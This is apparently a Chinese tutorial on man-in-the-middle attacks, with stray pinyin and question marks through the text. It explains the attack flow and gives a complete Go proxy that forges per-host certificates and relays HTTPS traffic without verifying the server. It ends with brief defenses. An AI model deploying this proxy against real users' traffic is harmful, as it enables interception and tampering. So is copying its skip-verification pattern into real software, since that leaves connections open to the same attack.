中間(jian)人(ren)攻(gong)擊(ji) (Man-In-The-Middle Attack, MITM) 是一(yi)種(zhong)網絡攻(gong)擊(ji)形式,攻(gong)擊(ji)者(zhe)通過(guo)在(zai)客戶端和(he)服(fu)務器(qi)之間(jian)劫持通信來讀取、篡改(gai)數據(ju)。這(zhe)種(zhong)攻(gong)擊(ji)可以讓(rang)攻(gong)擊(ji)者(zhe)攔截和(he)修改(gai)客戶端與服(fu)務器(qi)間(jian)的流(liu)量。
不(bu)過,本文章出(chu)于(yu)教育與防(fang)范(fan)目(mu)的,介紹 MITM 攻擊的原(yuan)理及如何防(fang)范(fan),而非用于(yu)實施此類攻擊。
一、MITM 的流程步驟詳解
1. MITM 攻擊原理
MITM 攻擊(ji)的(de)核心流程(cheng)是攻擊(ji)者將自己偽裝為服(fu)務器(qi)和客戶(hu)端的(de)中間節點,以竊取或篡改(gai)通(tong)信內容。實現這(zhe)一過(guo)程(cheng)的(de)關(guan)鍵步驟如下:
- ?監聽?:在網絡中偵聽數據包,通過工具(如 Wireshark)收集客戶端和服務器之間的通信數據。
- ?截取通信?:中間人攻擊者通過 DNS 欺騙、ARP 欺騙等手段,將數據流劫持到自身設備上。
- ?轉發請求?:攻擊者將客戶端發送的請求轉發至服務器,假裝客戶端正在與服務器直接通信。
- ?篡改或竊取數據?:攻擊者讀取數據包內容并可能篡改信息(如更改交易金額或劫持敏感信息)。
- ?將響應返回客戶端?:攻擊者從服務器接收到響應后,將其轉發給客戶端。
2. MITM 攻擊流程圖解
以(yi)下是(shi)一(yi)個典型的 MITM 攻擊流(liu)程圖示:
Client         Attacker           Server
      |               |                 |
      |  Request -->  |                 |
      |               |  Request -->    |
      |               |                 |
      |               | <--- Response   |
      | <--- Response |                 |
      |               |                 |
- ?客戶端發送請求?:客戶端向服務器發起 HTTP/HTTPS 請求。
- ?攻擊者截取請求?:攻擊者通過中間人設備攔截請求,充當“偽服務器”。
- ?請求轉發到服務器?:攻擊者以客戶端身份將請求轉發到服務器。
- ?服務器響應?:服務器將響應數據發回給攻擊者,認為請求來自客戶端。
- ?攻擊者篡改或竊取響應?:攻擊者可以選擇篡改或記錄該響應。
- ?攻擊者轉發響應?:攻擊者以服務器身份將響應發給客戶端,完成 MITM 攻擊。
在一個典型的(de) MITM 代理(li)中,如果要攔截 HTTPS 通信(xin),需(xu)要處理(li)以下步驟:
- ?生成和使用自簽名證書?:攻擊者需要偽造服務器證書,使客戶端以為它在連接真實的服務器。可以使用自簽名證書,代理每次攔截請求時生成與真實服務器域名匹配的證書。
- ?雙向 TLS 會話?:代理必須同時建立兩條 TLS 會話,一條用于連接客戶端,另一條用于連接目標服務器。代理服務器充當客戶端時連接到目標服務器,充當服務器時響應客戶端的請求。
下面是一個(ge)實現雙(shuang)向 TLS 會話的(de) Golang 示例,適用于(yu)教育(yu)和(he)防范目(mu)的(de)。
完整 MITM 雙向 TLS Golang 示例
以(yi)下代(dai)碼包含如何生成和使(shi)用自簽名證書,并實現雙向 TLS 建(jian)立的代(dai)理流程(cheng):
package main
import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/tls"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/pem"
	"fmt"
	"io"
	"log"
	"math/big"
	"net"
	"net/http"
	"strings"
	"time"
)
// 生成自簽名證書
func generateCertificate(host string) (tls.Certificate, error) {
	priv, err := rsa.GenerateKey(rand.Reader, 2048)
	if err != nil {
		return tls.Certificate{}, err
	}
	// 設置證書的屬性
	template := x509.Certificate{
		SerialNumber: big.NewInt(time.Now().UnixNano()),
		Subject: pkix.Name{
			Organization: []string{"MITM Proxy"},
		},
		NotBefore:             time.Now(),
		NotAfter:              time.Now().Add(365 * 24 * time.Hour), // 有效期1年
		KeyUsage:              x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
		ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
		BasicConstraintsValid: true,
	}
	// 添加主機名到證書
	template.DNSNames = append(template.DNSNames, host)
	// 使用私鑰簽署證書
	derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
	if err != nil {
		return tls.Certificate{}, err
	}
	// 編碼證書和私鑰
	certOut := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
	keyOut := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
	return tls.X509KeyPair(certOut, keyOut)
}
// HTTPS劫持處理
func handleHTTPS(clientConn net.Conn, host string) {
	// 生成自簽名證書
	cert, err := generateCertificate(host)
	if err != nil {
		log.Println("生成證書失敗:", err)
		clientConn.Close()
		return
	}
	// 使用自簽名證書建立TLS連接
	config := &tls.Config{Certificates: []tls.Certificate{cert}}
	serverTLSConn := tls.Server(clientConn, config)
	err = serverTLSConn.Handshake()
	if err != nil {
		log.Println("客戶端TLS握手失敗:", err)
		serverTLSConn.Close()
		return
	}
	// 與目標服務器建立TLS連接
	targetConn, err := tls.Dial("tcp", host, &tls.Config{InsecureSkipVerify: true})
	if err != nil {
		log.Println("連接目標服務器失敗:", err)
		serverTLSConn.Close()
		return
	}
	// 進行雙向傳輸
	go transferData(serverTLSConn, targetConn)
	go transferData(targetConn, serverTLSConn)
}
// 雙向數據傳輸
func transferData(dst io.WriteCloser, src io.ReadCloser) {
	defer dst.Close()
	defer src.Close()
	io.Copy(dst, src)
}
// HTTP 劫持處理
func handleHTTP(w http.ResponseWriter, req *http.Request) {
	// 代理請求到目標服務器
	client := &http.Client{}
	req.RequestURI = ""
	resp, err := client.Do(req)
	if err != nil {
		http.Error(w, "請求失敗", http.StatusInternalServerError)
		return
	}
	defer resp.Body.Close()
	// 返回響應給客戶端
	for k, v := range resp.Header {
		w.Header()[k] = v
	}
	w.WriteHeader(resp.StatusCode)
	io.Copy(w, resp.Body)
}
func main() {
	// 處理 HTTP/HTTPS 請求
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		if r.Method == http.MethodConnect {
			// HTTPS 劫持
			host := r.Host
			if !strings.Contains(host, ":") {
				host += ":443"
			}
			conn, _, err := w.(http.Hijacker).Hijack()
			if err != nil {
				http.Error(w, "連接劫持失敗", http.StatusInternalServerError)
				return
			}
			handleHTTPS(conn, host)
		} else {
			// HTTP 劫持
			handleHTTP(w, r)
		}
	})
	// 啟動代理服務器
	fmt.Println("啟動 MITM 代理服務,監聽端口 :8080")
	err := http.ListenAndServe(":8080", nil)
	if err != nil {
		log.Fatal("代理服務啟動失敗:", err)
	}
}
代碼解析
- ?生成自簽名證書?:generateCertificate函數為指定的主機名生成一個自簽名的 X.509 證書。這里利用了 Go 標準庫的x509和rsa包來生成證書。
- ?HTTPS 劫持處理?:handleHTTPS函數建立雙向 TLS 會話:- 首先使用生成的自簽名證書對客戶端進行 TLS 握手。
- 然后,使用 tls.Dial與目標服務器建立 TLS 連接,配置為跳過證書驗證(InsecureSkipVerify),允許連接不受信任的證書。
 
- ?數據傳輸?:transferData函數用于將數據從客戶端傳輸到服務器,再將服務器響應數據傳回客戶端,從而實現中間人攻擊的雙向流量傳輸。
- ?代理 HTTP 請求?:handleHTTP函數用于處理 HTTP 請求,并直接將請求轉發到目標服務器,同時返回服務器響應數據。
- ?啟動代理服務器?:在 main函數中,使用http.HandleFunc定義 HTTP 和 HTTPS 劫持的處理邏輯,監聽本地端口:8080。
防范措施
- ?使用可信的 CA 證書?:通過安裝和驗證可信的證書可以識別偽造的證書。
- ?雙向 TLS 驗證?:在敏感系統中配置雙向認證,確保服務器和客戶端身份都經過驗證。
- ?**HTTPS 嚴格傳輸安全 (HSTS)**?:HSTS 可以防止中間人攻擊降級到 HTTP。
?請注意?:本代(dai)碼(ma)僅用于教(jiao)育和學習目的,幫(bang)助(zhu)了解(jie) MITM 原理及其(qi)防范措施(shi)。未經(jing)授(shou)權的網絡攔截和攻擊行為是(shi)違法的。